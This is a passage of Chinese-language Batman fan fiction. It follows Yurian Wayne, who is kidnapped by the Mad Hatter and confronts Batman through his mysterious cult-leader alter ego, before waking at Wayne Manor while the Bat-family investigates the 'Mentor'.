他能感受到理性正在燃烧,他的头脑变得无比清晰,空间感也无限增强,甚至能仅凭肉眼扫描就在脑海中构建出整个花园的模型,像一个经验丰富的侦探一样察觉到各种常人容易忽略的细节。
像玩推理游戏一样迅速推进,尤里安只花了十分钟就搜查完大半个花园。
就在他准备往更深处探索时,他注意到地面上凌乱的脚印——
脚印很新且大小不一,判断是多人队伍而且刚离开不久;
相比于普通人的脚印更深,基本可以判断出这群人体重普遍超过200磅,或着随身携带重物;
有几处脚印鞋跟磨损不对称,推测其主人拥有长期搏击的爱好或习惯。
什么人会在这个时间点留在花园?
尤里安感觉自己找对了地方,顺着脚印往前走,没多久就发现了一座白色的蛋形建筑,看起来像个花房,一群打手守在花房门口。
他们都身材高大,全副武装,其中一个人的听力特别灵敏,在尤里安的斗篷轻轻碰过一丛花枝时,就警惕地看了过来,厉声喊道:“谁?”
强光手电朝花丛照去,却只捕捉到一条瘦长的影子,在这格外漆黑的雨夜中显得有些诡异。
“蝙蝠侠?”他们脱口而出,第一反应是蝙蝠侠居然这么快就找上门来了。
但对面并没有给出任何应答,神秘的人影在众目睽睽下变成一道只停留在视网膜上的残影,融入到幽深的黑夜里去。
打手们举着强光手电慌乱地四处搜索,但在这样幽深的雨夜里,他们什么都看不清,只能听见同伴的惨叫此起彼伏,阴冷的注视似乎无孔不入,在某一瞬间,令人头皮发麻的危险才突然降临。
“啪”,一名同伴倒下了,又一名同伴倒下了,阴影在子弹组成的密网中起舞,闪着寒光的利刃被他碰到就像柔软的豆腐一样化开,强烈的恐惧和窒息淹没了所有人的理智——
袭击他们的,真的是人类吗?
……
疯帽匠正专心致志地布置自己的的茶话会。
他为这场茶话会准备了很久,场地、道具、服装无一不精心挑选,整个花房都被他改造了一遍。为了准备最好的茶点,他还绑架了哥谭最有名的甜品师。
茶话会的参与者早在一个星期前就陆陆续续确定下来,疯帽匠花了点力气,把他们神鬼不觉地聚集到这里。但最重要的人物、茶话会的主角爱丽丝却迟迟无法确定,这一点令疯帽匠感到无比焦躁。
他的爱丽丝必须是最完美的——拥有世界上最漂亮的脸蛋,最优美的身材,最迷人的眼睛,仅仅只是一眼就给人带来惊心动魄的窒息之美。
那些俗人以为的金发倒不是必选项,他的上一位爱丽丝是一位来自乌克兰的钢琴师,她有着一头柔顺的黑发,那双充满魅力的双眼令他念念不忘。不过那个失败品最后被他摔死在蝙蝠灯上,以此表示对蝙蝠侠的警告。
就在疯帽匠遗憾地打算再次推迟茶会时间时,他受到伟大的启蒙,在血杯的指引下找到了“她”。
疯帽匠低下头,心情愉悦地端详着自己的作品——
他的爱丽丝,身子安静地埋在柔软的大床里,金发璀璨,逶迤垂落在小巧白皙的耳旁。“她”的眼睑皮肤似乎特别薄嫩,脆弱到可以窥见下皮肤下的黛青色血管,纹路犹如纤细的玫瑰花枝,纤长的睫毛则是颤抖欲飞的蝴蝶。被点上唇妆的嘴唇薄而红润,微微张开吐着热气,泛着薄红的脸颊衬得精致的面孔更加昳丽浓稠。
沉闷的西装已被换成合体的礼裙,立体的花朵编织成领口,清晰的锁骨右侧点着一颗淡色小痣,上半身的修身剪裁勾勒出腰部线条,精美繁复的裙摆如海浪一般层层叠叠散开。
盛装打扮过的爱丽丝符合疯帽匠对一切完美的想象,哪怕是睡着的样子也如此美丽、安静而无害。
光是注视,疯帽匠就感觉爱意疯狂上涌,某种欲望变形膨胀,他渐渐闻到一股诱人的甜香,像是花房的香气,甜蜜的糕点,猩甜的血,又或者别的什么东西。
疯帽匠迷醉地咽了口口水,难以言喻的饥饿和干渴席卷干瘪的胃,强大的食欲迅速占领这具皮囊。他觉得如果再不拿点什么东西塞满肚子,他就要被腹中的饥饿吞吃了。
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不要什么蛋糕,也不要什么茶点,只有要更温暖的存在才能填满他的食欲……
“嘭——”
就在这时,建筑之外忽然发出嘭的一声爆响,白色的弧形墙体像被敲碎的蛋壳一样一寸寸开裂。
疯帽匠骤然惊醒,他这才发现自己正用力撕扯自己的皮肤,指甲里全是血垢,喉咙已经被抠出了血。
一股诡异的寒意爬上脊背,他看见一道漆黑的身影从墙壁的裂口出现,带着室外的寒凉踏入花房,阴森得像一道鬼影。
他的面庞被黑色的兜帽遮掩,只露出一截苍白的下巴。疯帽匠试图看清他的脸,但兜帽之下的面庞却像被迷雾遮掩,无法看清脸庞,也无法记住身形,只在他脑海中留下一个模糊的符号。
疯帽匠的脊背颤抖着,这种熟悉的诡秘氛围让他意识到站在自己面前的正是那位指引他洞见真知的伟大存在。
“……导师。”
疯帽匠声音沙哑地喊了声,却没有得到任何回应。他大着胆子抬头,看到人影轻轻抱起爱丽丝。
他的身后是被破坏殆尽的墙体,以及躺了一地的肌肉壮汉,血与水混合着渗入花泥,一切的一切都在昭告在他闯进来前造成了多大的破坏。
深色的斗篷已经湿了,带着凌厉森冷的水汽,但他手中的动作却小心翼翼,仿佛捧起的是一朵细嫩的花苗,带着无尽的呵护和怜惜。
尤里安有些怔愣地注视着这张熟悉又陌生的脸庞。
虽然已经戴上金发,穿上裙装,但无论怎样盛装打扮,他都不可能认不出自己的脸庞。
从前尤里安只在镜中见过自己,但现在,他正抱着另一个他,像是抱着一块镜子。
这是……我……?
此前尤里安从未认真区分过现实和游戏,但他认为“我”具有唯一性,所以他一直倾向于这里是只是贴近现实的游戏,前来博特尼花园只是为了寻找可能存在的映射现实的线索。
但眼前的景象却让他的头脑陷入混乱,他下意识想回到本体——去验证这里到底是真正的现实还是虚构的游戏。
只有一瞬间——尤里安成功了。
他忍着剧烈的头痛艰难地睁开眼,这次他来到镜子里,一侧病弱沉静,另一侧强大冰冷,尤里安又看见了自己。两张几乎一样的脸面对着面,黑曜石一般的眼睛倒映出无机质的血红,他与他在这个奇妙的雨夜对视。
原来不是他进入了游戏世界,而是游戏降临现实。
这个世界上,同时存在两个“我”。
意识到这一点时,强烈的眩晕感突然袭来,尤里安被粗暴地弹出本体,回到上方的视角中。
熟悉的眩晕感让尤里安下意识抚摸了一下本体的脸,反馈到冰冷手指上的是不正常的潮热,哪怕是在浴缸里睡着的那天晚上都没这么夸张。
难怪他回不去。
这种情况下谁还有心情做哲学思辨,尤里安的怒火一下子涌了上来——
他的身体那么脆弱,居然还没被好好爱惜!就在尤里安打算把疯帽匠抓过来揍一顿的时候,花房外传来另一道危险而低沉的声音。
“我劝你最好放开他。”
尤里安转头,漆黑的蝙蝠正静静地站在雨夜里。
13.疾病肆虐的时节(13)
几个小时前。
蝙蝠车在暴雨中穿梭,明亮的车灯如同利刃一样破开雨幕。
水花飞溅,引擎轰鸣,特制的轮胎让它在雨夜中保持安全,流线型的车型则让它在雨夜里不断提速。
蝙蝠侠在得到尤里安失踪的消息时,就立刻顺着他在尤里安身上放置的定位器和追踪器展开追查。其中大部分定位器都在酒店里失去联系,只有一个编号为S21的定位器存留下来,蝙蝠侠记得这枚定位器被他藏在尤里安的腰侧。
他让阿福锁定定位器所在的车辆,并开着蝙蝠车一路狂飙,终于在进入东城区之前成功追上,直接超车漂移逼停货车。
“嘭!”
货车来不及刹车,直接撞上了蝙蝠车的车身,两辆车一起滑出去十几米。
蝙蝠侠跳上货车,直接砸碎车窗,抓住司机的衣领低吼:“把人交出来!”
司机看起来惊魂未定:“什么?”
蝙蝠侠稍微冷静下来,才发现司机的领口闪烁着不起眼的光——那枚定位器早就被取下来,贴在司机的领子上。
便士一的声音从通讯仪里传过来:“这辆货车是前往阿卡姆精神病院的基础物资运输货车。”
“这是挑衅。”蝙蝠侠压抑着火气说。
对家人的担忧催生了更加急切的焦虑,他直接碾碎了这枚定位器,言简意赅地给被吓傻的司机留下一句“会有人来赔偿你”,随后重新启动蝙蝠车,联络酒店那边。
“我们在酒店西楼侧厅的一个小房间里找到了大部分失踪的宾客,他们都昏过去了,警察将他们送到了最近的医院,直到刚才才陆续有人醒过来。他们都坚称是一个服务员以管道气体泄漏为由把他们带到那里,然后他们就失去了意识。”夜翼忍不住骂出口,“Damn……究竟是谁?!他居然反过来利用了我们的行动!”
他不敢想象在这样的雨天里,尤里安会被带到哪里。而他这个蠢货,居然不小心弄丢了他们最珍视的家人!
红罗宾快速补充:“这一层楼的监控录像都被删除了,几个重要的摄像头也被提前断电,我查到源头就是监控室,有个工作人员被洗脑了。”
看来这座酒店早就被渗透了,监控室不只是个例。哥谭大酒店的工作人员表面上仍在按时履行自己的职责,实际上早就被洗脑成某个人的工具,尤里安就是这样被神不知鬼不觉地带出去的。
这种作案手法并不陌生,阿卡姆里也只有一个人拥有物理意义上的洗脑能力。
蝙蝠侠说出那个名字:“是疯帽匠。”
可是疯帽匠为什么会绑架尤里安?难道他不幸成为疯帽匠此次茶会的人选?
在接下来的几个小时里,便士一排查了那个时间点所有车辆的进出,夜翼、红罗宾也都分头行动,却都没有得到任何线索。最终是蝙蝠侠突然想到对比全哥谭的电力使用情况,将可疑地点一一排查过去,结合疯帽匠对茶话会场所的严苛要求,才锁定这座本应无人的花园。
然而等他赶到的时候,却有人更快一步,花房之外横七竖八躺着一群打手。
而他们寻找了几个小时的尤里安,已经被恶趣味地打扮成少女模样,金发长裙,染上唇妆,像人偶一样悄无声息地躺在一个人的怀里,潮红的脸颊被宽大的兜帽遮出深深的阴影。
蝙蝠侠深深地凝视着面前这个身着斗篷、头戴兜帽的人。
他的兜帽是低调的黑色,内衬却是鲜亮的血红,兜帽表面绘制着复杂神秘的银色花纹,光是看一眼令人头晕眼花。兜帽只拉到鼻尖,露出了苍白的下半张脸。身上的斗篷长至膝盖,遮掩了大部分身形。
这个神秘男人,正将手指搭在柔嫩的皮肤上抚动,轻柔地扫过紧闭的眼睛,一举一动间都仿佛带着无限的温柔缱绻。但这不妨碍蝙蝠侠从他身上感受到浓重的邪恶又危险的气息。
他在肆意摆弄自己的家人,就像玩弄一个没有生命的玩具。
“我劝你最好放开他。”蝙蝠侠冷声警告。
对方侧过头,随意地打量了他一眼,发出一声古怪的冷笑:“如果我说不呢?”
“那我只能使用一些强制手段了。”蝙蝠侠扔出蝙蝠镖。他的耐心早就在漫长焦急的搜寻中告罄,满脑子只有把尤里安夺回来。
对方很轻松地接住了这枚飞镖,锋利的镖身没有在他手上留下任何痕迹,他甚至还顺手拔把玩了一下。
疯帽匠凑到他身边,目光闪烁:“导师,蝙蝠侠是我引来的,请交给我来解决。”
导师?
这个称呼让蝙蝠侠心中警铃大作,他立刻联想到那个文学作品中的知名犯罪顾问。
是什么样的人才能让疯帽匠心甘情愿地喊出“导师”这个称呼?
阿卡姆的精神病罪犯虽然偶尔会相互合作,但大部分时间他们都自视甚高,谁都看不起谁,更别提像疯帽匠这样语气尊敬,表情惶恐又幸福,仿佛愿意将自己的一切交予这个神秘青年支配。
就在蝙蝠侠在脑中搜索可能的人选时,一道劲风突然从身后袭来。他敏锐抬手,手臂上的臂甲卡柱一根朝他后脑勺砸来的铁棍。紧接着他又转身,踹飞了一个试图拿电棍冲上来的男人。
“哐!”
但这还没完,门外那些被打趴的人竟然全都摇摇晃晃地站了起来,前仆后继地朝他扑过来。
花房另一侧的门也打开了,几个穿着像表演话剧一样浮夸的人也加入进来。他们都是中等身材,也没有打架的技巧,只能用自己的身体阻挠蝙蝠侠——伸手去勒住他的脖子、抓住他的大腿、束缚他的手臂,用柔软的肉-体阻挠冰冷的铠甲。
这个不伦不类的人海战术见效了,因为通讯仪里传来便士一查到的信息:“这几个人都在最近一个月的失踪名单里,应该都被疯帽匠洗脑了,成为他的童话里的登场角色。”
蝙蝠侠无法用对付罪犯的手段对付受害的平民,最多只能想办法将他们打晕,一时间被束缚住手脚。
疯帽匠大笑:“蝙蝠侠,我的茶话会还缺一只睡鼠,你要来应聘睡鼠的演员吗?要我说,飞天大老鼠也不是不行!”
“不过我得确保你符合角色形象,这个时间点——睡鼠已经进入冬眠了!”
话音刚落,蝙蝠侠头顶的喷淋装置突然开始运作,随着水汽喷出的还有大量催眠瓦斯,他立刻屏住呼吸,从蝙蝠腰带里拿出防毒过滤器,但还是不慎吸入了一点气体,强烈的困倦感瞬间袭来。
蝙蝠侠当机立断,启动臂甲上的放电装置,用强电流带来的疼痛强迫自己保持清醒,同时在人群中寻找那个挟持了尤里安的神秘青年。
穿过层层人影,他看见对方已经弯下腰,宽大的兜帽将怀里的人笼罩,像在交换呼吸,又像甜蜜的耳语。
……
尤里安又尝试了几次,都没能再次回到本体。他弯腰贴了贴本体的额头,滚烫的气息扑面而来,他感觉这具身体都要熟透了。
旁边警匪大战的场面让他感到很厌烦,尤里安本来就对蝙蝠侠有偏见,刚才还被那家伙劈头盖脸骂了一句,对他意见就更大了。
蝙蝠侠似乎认为是自己绑架了“尤里安”,忽略过程光从结果来看,也确实是这样,真要追究起来他难免会被蝙蝠侠纠缠,疯帽匠主动提出对付蝙蝠侠省去了他的麻烦。<
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如果放在平时,尤里安还真很乐意欣赏蝙蝠侠被反派逼得形容狼狈的样子,但现在不一样,当务之急是高烧的本体。
其实尤里安可以用教主的权能叫停疯帽匠的行动,但然后呢?蝙蝠侠肯定会优先处理罪犯,顾不上受害者,就像上次那样……
蝙蝠侠不可能信任尤里安,尤里安也不信任蝙蝠侠。蝙蝠侠或许能成为许多哥谭人的恐惧和希望,但他的救援行动从来无法顾及到所有人,尤里安不愿意把本体交给他。
就在尤里安在心底冷嘲,打算独自行动时,又有两名不速之客闯了进来。
“不好意思,我们不能放你离开。”夜翼姿态轻盈地落在花房门口,目光紧紧盯着尤里安抱在怀里的人,“他的家人正在等着他回家,我们必须带他回去。”
红罗宾紧随其后,两名年轻的义警一前一后堵死进出的路口。
尤里安微微抬头,雨又大起来了,硕大的雨点急促地击打着花房上方,提醒着他独自行动的不便。
……家人。
是啊,布鲁斯,还有阿福、迪克、提姆,他们都在等他回家……他必须立刻回去。
但那句话也提醒了尤里安,他意识到自己不能用现在这个身份接触他的家人,越来越多人见过这个形象了,他不能让人发现疯帽匠口中的导师与尤里安·韦恩拥有同一张脸。
或许他可以选择将本体交给罗宾。他们拥有丰富的救援经验和柔软炽热的心,更重要的是,不管哪一任罗宾都比他们的家长活泼可爱多了。尤里安曾经受过上一位罗宾的帮助,虽然那位罗宾已经很久没出现过了。
在蝙蝠侠砰砰暴揍人的背景音里,尤里安凝视着夜翼和红罗宾戒备的姿态,以及四周的一片狼藉,他意识到这个身份能方便他做很多事情,但必须与本体完全分离。
今后他的教派也许还会继续扩大,他大概率会与这群蒙面义警再次接触,为了不让家人担心,他最好从现在就将两个身份剥离开,塑造出一个和韦恩家的小少爷完全不同的形象。
至于今天他对本体过于关心的态度也很好解释,人类的情感毕竟那么复杂。
仅仅花了两三秒,尤里安就想好自己应该做什么。这并不难,他曾有一段时间对戏剧很感兴趣。
或许是为了回应他的想法,墨绿色桌面上缓缓浮现一个临时工作台。
【突发事件】:在一个奇妙的雨夜,“我”与“我”的命运开始交汇。为了不引起怀疑,我需要一场完美的谢幕,将两个身份彻底剥离。或许我可以借此树立教派形象。(放入技能展现力量,放入影响创造舞台。)
于是,夜翼和红罗宾看见——
花房之外忽然狂风大作,狂风从墙体的缺口涌进来,斗篷鼓动,兜帽飘飞,神秘青年低笑一声。
“我当然可以把他还给你们。”他低下头,温柔地抚过尤里安紧闭的双眸,像是对待心爱的玩具一样爱不释手,“他是个讨人喜欢的好孩子,只不过现在有点坏掉了。”
夜翼和红罗宾心里发寒,家人被觊觎的怒火一下子燃起。终于解决了包括疯帽匠在内的所有人的蝙蝠侠压抑住狂暴的情绪冷声问:“你究竟是谁?”
青年瞥了疯帽匠的方向一眼,轻轻松开手:“你可以像他一样,称呼我为‘导师’。”
话音刚落,整座花房瞬间被放大百倍的雨声笼罩,轰隆隆如同响雷。四周的玻璃同时浮现出逆向流淌的雨,如同一场舞台剧结束的幕布。
所有人的感官都乱了套,等他们的视野恢复清晰时,身着斗篷的影子已经在无数镜像中分裂破碎,花房里只剩下软软瘫倒的尤里安。
14.疾病肆虐的时节(14)
尤里安坐在画板前。
他拿着画笔,目光呆滞了几秒,才聚焦在面前这幅已经完成了一半的油画。
任谁前一秒还被蝙蝠和小鸟们团团包围,下一秒就回到了安静平和的室内,都会愣上几秒吧。
场景跳转得太快,要不是尤里安身上的斗篷还湿淋淋的,残留着室外的凉气,他都要怀疑刚才发生的一切只是一场梦了。
尤里安打开墨绿色桌面,那个[突发事件]已经显示完成了,墨绿色桌面上多出了一张[秘氛],这代表他刚才的表演足够离奇,给在场的人留下了十分神秘的印象。
但他其实只是用了那张午睡醒来刚得到的[躁动]。
那张卡牌的介绍看起来很不起眼,放在一边不管还会随着时间的流逝慢慢转化为[恐惧],尤里安刚拿到时也觉得没什么用。仔细看了才发现,这张卡牌其实具有非常丰富的属性,包含了2阶的杯、心、蛾、灯、铸五种准则。
这个游戏共有九大准则,除了秘史,每种准则都对应不同的力量。这张卡牌里的杯能增强感知,心能鼓动精神,蛾能扭曲思想,灯能迷乱视觉,铸能带来毁灭。
多重准则相互叠加,思想、感官与现实三重影响,尤里安发挥了一点小小的想象力,借用雨夜的环境给花房里的所有人带来一场震撼感官的幻象。在其他人陷入幻象时,他就能趁机完成一个完美的离场。
至于离场的方式,尤里安原本是想利用他的健康技能离开花房,但总觉太接地气,少了点逼格,一个吸纳超反作为教徒、钻研无形之术的教派之主,使用的应该是更加非人的力量。
于是他把主意打到游戏特性上去。
前几次尤里安使用教主的身体时都会突然出现在与某项作业相关的某个地点,尤里安就想到是否可以利用这点直接切回租房画画,从而达到物理意义上的瞬移。
结果真的成功了,他完成了一个完美的谢幕。
多亏了今天的尝试,尤里安对如何使用这个游戏的卡牌有了更加深刻的理解。
作业区的绘画任务仍在工作,方块下的倒计时有序跳动着。他还是有点担心本体那边,一边继续往下画一边尝试与本体搭建联系。
可惜他的身体就像是一台信号不好的电话,每次都得费很大劲才能勉强接通。连续尝试了几次都没能成功后,尤里安也只能暂缓下来,在脑海中整理今天发生的事情。
首先,他在宴会上被疯帽匠绑走了,蝙蝠侠和小鸟们因此出动;
然后,他发现他的教派早已降临现实,这个世界同时存在两个“自己”,绑架了本体的疯帽匠和游戏里的好教徒是同一个人;
最后,为了不暴露两个身份之间的联系,教主在众目睽睽之下发表了一些变态言论,随后在蝙蝠侠面前华丽退场。
因为意想不到的变动太多,最后的收尾有点仓促,不过也不需要太有逻辑,这座城市遍地都是罪犯、疯子与精神病,精神病的思维不能以常理判断。
“尤里安·韦恩”的日常生活总是充满苦涩的药味和小心翼翼的保护,如同一潭死水平静无波。此前他做过的最危险的事情还是在布鲁斯被卷入小丑越狱事件时冲过去跟那个大名鼎鼎的超级反派做对赌协议。
今天晚上发生的事却像一场光怪陆离的电影,充满危险与激情,光是回忆起他离开瞬间蝙蝠侠暴怒的表情,尤里安的心情就十分愉快,感觉浑身血液都热了起来,有种电流流过的酥麻愉悦感。他开始反思自己是不是有成为超级反派的潜质。
说到超反,尤里安想起自己离开时已经昏迷的疯帽匠,打开桌面确认了一下这位教徒的状态。
果然,这张人物卡已经蒙上一层浅浅的灰色,而上面写着的冷却时间居然是“未知”,这代表蝙蝠侠还没想好要把他强制关上多久吗?
呵呵,等疯帽匠的冷却期结束了,他一定要把疯帽匠派去最艰苦的地方当牛做马。虽然这家伙很能干,但他居然敢绑架到教主头上,还把教主打扮成洋娃娃,害得他的本体头痛欲裂高烧不退,到现在都回不去。
伟大的杯教之主神情郁郁地在心里给教徒穿完小鞋,又不抱希望地尝试了一次——
而这一次,他居然短暂地链接上了!
熟悉的头晕脑胀之感涌了上来,尤里安感觉自己像在像在大海上的船只一样漂浮不定,有什么人正抱着自己,沉重的靴子踩在地上,脚步急促咚咚作响,听起来很着急。
尤里安艰难地睁开眼,刚开始视线有些朦胧,只能看见一片模糊的光点。在视网膜成像之前,他的鼻子先捕捉到了亲切的味道。
是布鲁斯吗?紧绷的精神一下子放松下来,尤里安轻轻吸了一口,今天晚上发生的一切都能被这个怀抱轻松安抚。
然而就在他想喊一声布鲁斯的名字时,模糊的视线逐渐清晰,他看见了一个硕大的蝙蝠标志。
尤里安:……?
他闭了闭眼,宁愿相信这是幻觉。可再次睁眼后,他绝望地发现并不是——他居然躺在蝙蝠侠的臂弯里,那个被肌肉挤得膨胀的蝙蝠标志正躺在蝙蝠侠的胸口上!
兜兜转转一大圈,他居然还是摆不脱蝙蝠,蝙蝠侠不是应该在阿卡姆处理疯帽匠越狱的后续吗?
难怪他感觉后背硌得慌,肩膀也像是被铁钳住了一样,原来是蝙蝠盔甲太硬了。
尤里安嫌弃地侧过头,选择眼不见为净,
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忍不住在心底抱怨:
为什么不是夜翼抱他?至少夜翼的紧身衣制服是软的。红罗宾就不在考虑范围内了,从身高看他还只是个高中生,尤里安没有虐待高中生的癖好。
不过本体的情况没留给他太多抗议的时间,他很快就被弹出本体。
接下来的几次链接也都断断续续,时间很短,尤里安甚至都没能观察周围的环境,只能隐约感受到这里很黑,有谁帮他把繁重的礼服脱下来,给他穿上柔软的睡衣,还轻柔地把脸上的妆容擦干净。
太阳穴上似乎贴了什么东西,手背也被插入针管,有人围在他身边说话。
“疯帽匠……洗脑……”
“高烧不退……也许……大脑损伤……继续观察情况……”
虽然听不太清具体内容,但光凭这些细碎的词语,尤里安就知道自己的身体状况有多恶劣了。他又狠狠地在疯帽匠头上记上一笔。
等他的本体能够比较稳定地保持清醒时,他已经离开了那个昏暗的空间,躺在一张柔软的大床上。
阿福是最先发现他醒过来的,立马喊来了其他人。
尤里安听见布鲁斯轻轻喊了自己一声,语气小心翼翼,满含担忧。
“尤里安。”
尤里安勉强支撑着坐起来,脸色苍白,嘴唇干燥,纤长的睫毛微微发着抖,露出一副茫然无辜的表情,像是完全不理解现在的情况。
考虑到他从离开酒店之前就全程昏迷,布鲁斯轻声为他解释了事情的经过:“那天晚上你被疯帽匠绑架了,那个该死的家伙想把你改造成他的‘爱丽丝’,对你用了洗脑装置。被带走的那段时间里你还受了凉,这两天一直昏迷不醒,高烧不退……后来是哥谭警局把你带回来的。”
说到这里,身材高大的男人俯身抱住尤里安,声音里满是自责:“对不起……尤里安,是我没照看好你。”
尤里安虚弱地把脸埋在软弹的胸膛里,皮肤之间紧密相贴不留缝隙的感觉带来轻微的战栗,他感到异样的满足与幸福——简直都要溢出去了,脸上却表现出一副惶惶不安的样子。他想说不是布鲁斯的错,但刚想开口,才发现几天没说话的嗓子低哑到吓人,只好闭上嘴。
阿福和布鲁斯又仔细地询问他有哪些不适,尤里安认真感受了一下,最大的问题是头痛,像是有棍棒在粗暴搅动脑子里的组织和碎片。
阿福说可能是遭受洗脑的副作用,当天被救出来的其他市民也都有类似的症状,接下来这段时间他得好好静养。
布鲁斯最后询问:“你之前见过一个身穿斗篷、头戴兜帽的男人吗?”
尤里安觉得他的语气里多少带着点咬牙切齿的意味。
15.疾病肆虐的时节(15)
尤里安的回答当然是“没有”,他不能跟他的马甲扯上任何关系。
而在房间内的另外几人看来,就是黑发青年思索几秒,忽然间冷汗淋淋,本就苍白的脸色更加病态。他扶着额头缓了好一会儿,才摇了摇头,虚弱发问:“那个人是不是做了什么?”
布鲁斯打消了继续往下问的想法,担忧地止住话题:“没什么,头痛的话就不要回想了。”
尤里安应了一声,慢慢揉着刺痛的太阳穴:“抱歉……我的脑子还是有点乱,好像有很多画面被搅和在一起,看不太清。”
提到这个,布鲁斯表情愠怒,那双钢蓝色的眼睛因为怒气更漂亮了:“都怪那个该死的疯帽匠!我会去催促警局调查的,你好好休息,不要担心,其他事情都交给我们。”
说着,他又轻轻抱了尤里安一下,炽热的体温透过薄薄的布料传递过来,尤里安不自觉抖了一下,幅度很小,他希望布鲁斯不要发现。
可布鲁斯偏偏停顿了一下,拍了拍他的后背以示安慰,那只粗糙有力的手掌顺着脊柱慢慢摸下去。尤里安的视线有些发虚,被触碰到的皮肤好像在不正常地发着烫,心里像是盈满了水,十分充实满足。
等布鲁斯松手时,他又恋恋不舍,浑身都被强烈的空虚感裹挟,喉咙里也莫名涌现出阵阵干渴,浑身的每一个细胞都叫嚣着别走别走。
尤里安:“……?”
他有些无措,虽然以前他也很喜欢布鲁斯的拥抱,但……但不至于出现这样激烈的反应。
难道是他们提到的洗脑装置的后遗症?可似乎从前几天开始就有点反常了……
幸好现在本体还是个病号,不管出现什么异常都很好解释。尤里安偷偷瞄了布鲁斯一眼,布鲁斯对他投来一个带着安抚意味的微笑。
“有事立刻叫我们,阿福一直在旁边。”
……
布鲁斯韦恩回到蝙蝠洞。
超级电脑正在嗡嗡运作,屏幕上不断跳动着复杂的代码,提姆正坐在操作台前关注着数据,敲几下键盘就得喝口咖啡,神态疲惫眼底青灰,眼睛却炯炯有神。
疯帽匠绑架案,酒店爆炸案,一天之内就发生了两件大事,爆炸案还和他们之前追查的走私案息息相关。恐吓信和爆炸案背后的势力还没有查清,疯帽匠那边就又牵扯出一个全新的危险人物,这个人的目标还是他们的家人。
[导师]退场前留下的话无疑是对他们的挑衅,虽然大家都收敛着情绪冷静查案,但事实上,他们都能感受到笼罩在蝙蝠洞上方的压抑氛围,炽热的怒火在静寂地燃烧。
这个家庭里的所有人都很生气,他们发誓绝对要抓到对方,这两天都几乎没有休息。
蝙蝠侠在阿卡姆审讯,提姆对接哥谭警局,迪克也用家人出事的理由在大学那边请了几天假,留在哥谭帮忙善后,他负责调查的是那起爆炸案。
听到布鲁斯进来,提姆跟他汇报了警局那边的情况:
“被疯帽匠洗脑的人都出现了记忆受损的情况,症状深浅不一,个体差异很大。疯帽匠的洗脑装置将他们的人格塑造成了童话里的登场角色,有的人已经清醒过来,但也有人仍然认为自己是红桃士兵,看见警察嚷嚷着要保护皇后发起攻击。”
“现在受害者都在中心医院统一进行治疗,有家属的都通知了家属前来认领。此外有不少人察觉到那天晚上发生了意外状况,恐吓信的消息也被泄露出去,现在很多记者都蹲守在医院和警局门口,试图拿到一手消息……幸好知道尤里安被绑架的人并不多,否则那些好事的记者肯定会堵到韦恩庄园来。”
一口气说完结论后,提姆又关心道:“尤里安呢?他怎么样了?听阿福说他刚刚醒了。”
布鲁斯摇头:“脑电图频率仍不稳定,今天还在反复高烧,洗脑装置对他造成的影响比想象中的大,还需要继续观察。”
说到这里,他想到自己触碰尤里安时对方颤抖的肩膀、涣散的瞳孔和发烫的皮肤,像兴奋又像惊恐,这些都是不正常的现象。
疯帽匠虽然不像其他超反那样设计过危机全城的案件,但对于普通市民来说精神病罪犯的杀伤力是不分高低的,每一个都能带来难以愈合的创伤甚至致命的危险。
按照过去的经验,经历过洗脑的人很可能分不清虚幻和现实,从而产生强烈的不安和躁动,需要长久耐心的陪伴才能慢慢完成疗愈。
长久的陪伴……
布鲁斯想起这几天从阿卡姆获得的情报。
把尤里安送回来后,他就去阿卡姆把刚从昏迷之中醒来的疯帽匠狠狠揍了一遍,要求他坦白他所做的一切。
疯帽匠没有打算隐瞒,坦言帮助他越狱的人是谜语人和小丑。
蝙蝠侠揪住他的领子威胁:“他们会无缘无故帮你逃脱?代价是什么?”
疯帽匠被揍得鼻青脸肿的样子十分丑陋。听到这个问题,他露出古怪的笑容,硕大的鹰钩鼻都颤抖起来:“他们要求我帮他们代购报纸,给某个无聊的人投票。”
蝙蝠侠眉头紧皱,心里已经有了一个荒谬的答案,疯帽匠却已经自顾自继续说了下去:
“就是那份评选哥谭‘最受欢迎男性’的报纸——大家可是花了不少心思才把你投上去的呢。谜语人还特意教我怎么刷票,可惜最后
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被发现了,没能把你送到第一。”
蝙蝠侠:“……”
他没想到这份报纸还能再次出现在这里,就算是他也为这个理由感到无语,这些精神病罪犯的思维果然不能以常理推测。他对这个带着恶意嘲笑的答案的回应,就是又送上一拳头,继续询问疯帽匠越狱的原因。
疯帽匠吐出一颗带血的牙齿,表示他会突然越狱是受到“血杯”的伟大启示:“导师指派我外出探索,肯定是在鼓励我勇敢追寻自己的欲望!我遵循血杯的教诲,找到了我的爱丽丝……”
血杯?听起来就是邪恶之物。
蝙蝠侠记下这个新名词,冷声问:“你对‘导师’了解多少?”
“呵呵,别想着往下调查了,蝙蝠侠,祂是不一样的!祂第一次降临时,我也很好奇,还大喊大叫冒犯祂的存在。可祂没有和我计较,反而引我见识了伟大的血杯,让我有幸聆听许多超脱凡人的准则。”
回忆起当时的情景,疯帽匠的表情十分神往。
蝙蝠侠在心里记下:疑似邪-教。
“祂存在于我的四面八方,这个世界上的每一个角落。”说到这里,疯帽匠的整张脸都扭曲起来,表情异常癫狂,“我能感受到——现在,祂又在关注我。”
蝙蝠侠想到那天晚上雨水倒流瞬间消失的场景,继续记录:具有神秘学背景,很可能有心灵沟通的能力。
为了找出导师,蝙蝠侠已经把整个哥谭的人都对比了一遍。他的护目镜上搭载了身份识别系统,接入整个哥谭的数据库。在看见未知人物的时候,系统就会自动在数据库里查找对比,但超级电脑运转了一个晚上,最终显示识别失败。
不止如此,蝙蝠侠的肉眼也无法看清对方的脸,像有一团迷雾层层笼罩,雾气散去他就会忘记一切。类似的技术他只在隔壁那位氪星人身上见过。
一个全新的登场人物,一条缺失的线索。
这段时间以来所有无法探清的谜团纠缠在一起,每个节点的疑惑最后都共同指向一个问题——
他是谁?
“导师”这个代号之下的真实身份,究竟是什么?
尤里安对他来说有什么特殊之处?
带着这个疑问,蝙蝠侠又询问疯帽匠为什么会盯上尤里安,是不是导师指使的,但疯帽匠的回答却出乎他的意料。
“是因为一幅画。”
“说说那幅画。”
疯帽匠的表情充满迷醉:“那幅肖像画——我是在企鹅人那里看到的,画里的人符合世界上一切完美的词汇,我原以为这么美丽的人必定不存在于世间,直到我在报纸上看见了他。”
16.疾病肆虐的时节(16)
冰山会所位于米勒湾之上。
